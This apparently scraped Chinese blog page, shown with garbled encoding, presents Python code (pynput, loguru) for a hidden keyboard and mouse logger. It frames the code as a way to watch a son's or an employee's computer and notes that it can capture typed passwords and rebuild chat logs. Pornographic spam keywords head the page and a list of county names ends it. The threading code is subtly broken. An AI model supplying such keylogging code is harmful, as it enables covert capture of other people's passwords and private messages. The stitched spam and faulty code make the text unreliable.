看看男人日女人,亚洲欧美日韩日本国产三,国产精品欧美日韩区二区,妓女影库妓女网在线视频

利用Python監(jiān)控兒子每天在電腦上面做了些什么(python監(jiān)控軟件)

繼打游戲、看視頻等摸魚行為被監(jiān)控后,現(xiàn)在打工人離職傾向也會(huì)被監(jiān) 控。

有網(wǎng)友爆料稱知乎正在低調(diào)裁員,視頻相關(guān)部門幾乎要裁掉一半。而在知乎裁員的討論區(qū),有網(wǎng)友表示企業(yè)安裝了行為感知系統(tǒng),該系統(tǒng)可以提前獲知員工跳槽念頭。

而知乎在否認(rèn)了裁員計(jì)劃的同時(shí),也聲明從未安裝使用過網(wǎng)上所說的行為感知系統(tǒng),今后也不會(huì)啟用類似軟件工具。

因?yàn)榇耸拢?span id="bnv5vjr" class="candidate-entity-word" data-gid="1363064">深信服被推上風(fēng)口浪尖,輿論關(guān)注度越來越高。

一時(shí)間,“打工人太難了”“毫無隱私可言”的討論層出不窮。

今天就帶大家領(lǐng)略一下怎么寫幾行 python 代碼,就能監(jiān)控電腦。

干貨主要有:

① 200 多本 Python 電子書(和經(jīng)典的書籍)應(yīng)該有

② Python標(biāo)準(zhǔn)庫資料(最全中文版)

③ 項(xiàng)目源碼(四五十個(gè)有趣且可靠的練手項(xiàng)目及源碼)

④ Python基礎(chǔ)入門、爬蟲、網(wǎng)絡(luò)開發(fā)、大數(shù)據(jù)分析方面的視頻(適合小白學(xué)習(xí))

⑤ Python學(xué)習(xí)路線圖(告別不入流的學(xué)習(xí))
私信小編01即可獲取大量Python學(xué)習(xí)資源

監(jiān)控鍵盤

如果公司偷偷在我們的電腦上運(yùn)行了一個(gè)后臺(tái)進(jìn)程,來監(jiān)控我們的鍵盤事件,最簡單的 python 寫法大致是這樣的:

from pynput import keyboarddef on_press(key): print(f'{key} :pushed')def on_release(key): if key == keyboard.Key.esc: return Falsewith keyboard.Listener(on_press=on_press, on_release=on_release) as lsn: lsn.join()

隨意敲擊鍵盤,你就會(huì)從控制臺(tái)看到這樣的輸出:

利用Python監(jiān)控兒子每天在電腦上面做了些什么(python監(jiān)控軟件)

代碼內(nèi)容就是兩個(gè)方法,一個(gè)是監(jiān)聽按鍵事件,另一個(gè)是監(jiān)聽退出事件——敲擊 ESC 按鍵后釋放就退出了。

監(jiān)控鼠標(biāo)

如果還要監(jiān)聽鼠標(biāo)事件,那么上這段代碼就行了:

from pynput import mousedef on_click(x, y, button, pressed): if button == mouse.Button.left: print('left was pressed!') elif button == mouse.Button.right: print('right was pressed!') return False else: print('mid was pressed!')# 定義鼠標(biāo)監(jiān)聽線程with mouse.Listener(on_click=on_click) as listener: listener.join()

這段代碼主要是監(jiān)聽鼠標(biāo)的左右鍵點(diǎn)擊操作,運(yùn)行之后操作鼠標(biāo),就可以看到控制臺(tái)打印如下結(jié)果:

利用Python監(jiān)控兒子每天在電腦上面做了些什么(python監(jiān)控軟件)

細(xì)心的你一定會(huì)發(fā)現(xiàn),每次點(diǎn)擊事件,都打印了兩次。這是因?yàn)榘聪潞退砷_都會(huì)觸發(fā)鼠標(biāo)事件。

記錄監(jiān)控日志

鍵盤事件和鼠標(biāo)事件都有了,是時(shí)候?qū)⒍呓Y(jié)合起來,把用戶的操作記錄到日志了。這里我們用 loguru 來記錄日志,這個(gè) python 模塊我們之前的文章也講過。

整個(gè)代碼如下:

from pynput import keyboard, mousefrom loguru import loggerfrom threading import Thread# 定義日志文件logger.add('moyu.log')def on_press(key): logger.debug(f'{key} :pushed')def on_release(key): if key == keyboard.Key.esc: return False# 定義鍵盤監(jiān)聽線程def press_thread(): with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn: lsn.join()def on_click(x, y, button, pressed): if button == mouse.Button.left: logger.debug('left was pressed!') elif button == mouse.Button.right: logger.debug('right was pressed!') else: return False# 定義鼠標(biāo)監(jiān)聽線程def click_thread(): with mouse.Listener(on_click=on_click) as listener: listener.join()if __name__ == '__main__': # 起兩個(gè)線程分別監(jiān)控鍵盤和鼠標(biāo) t1 = Thread(target=press_thread()) t2 = Thread(target=click_thread()) t1.start() t2.start()

運(yùn)行之后,你就可以在同級(jí)目錄下的日志文件中,看到這樣的內(nèi)容了:

利用Python監(jiān)控兒子每天在電腦上面做了些什么(python監(jiān)控軟件)

本文主要通過 pynput 這個(gè) python 模塊講解一下怎么記錄鍵盤和鼠標(biāo)的操作。這幾行簡單的代碼對(duì)于監(jiān)控輸入密碼之類的簡單操作可以使用,但是對(duì)于聊天記錄之類的復(fù)雜語句,你還需要針對(duì)日志用 NLTK 語言處理,才能復(fù)原你的聊天記錄。

學(xué)會(huì)了這個(gè),你最想做的事情是什么?歡迎評(píng)論區(qū)留言!

相關(guān)新聞

聯(lián)系我們
聯(lián)系我們
在線咨詢
分享本頁
返回頂部
伊宁县| 华阴市| 蚌埠市| 钟祥市| 昌黎县| 岳西县| 鹤山市| 万年县| 潞城市| 织金县| 荣成市| 石阡县| 东平县| 东兰县| 华亭县| 封丘县| 扎兰屯市| 博乐市| 岱山县| 九龙坡区| 东丰县| 丰城市| 万安县| 赤水市| 宜阳县| 修文县| 桃园县| 枞阳县| 阿勒泰市| 盐边县| 南昌县| 博湖县| 石阡县| 项城市| 苏尼特左旗| 犍为县| 外汇| 长宁县| 康马县| 浮山县| 霍邱县|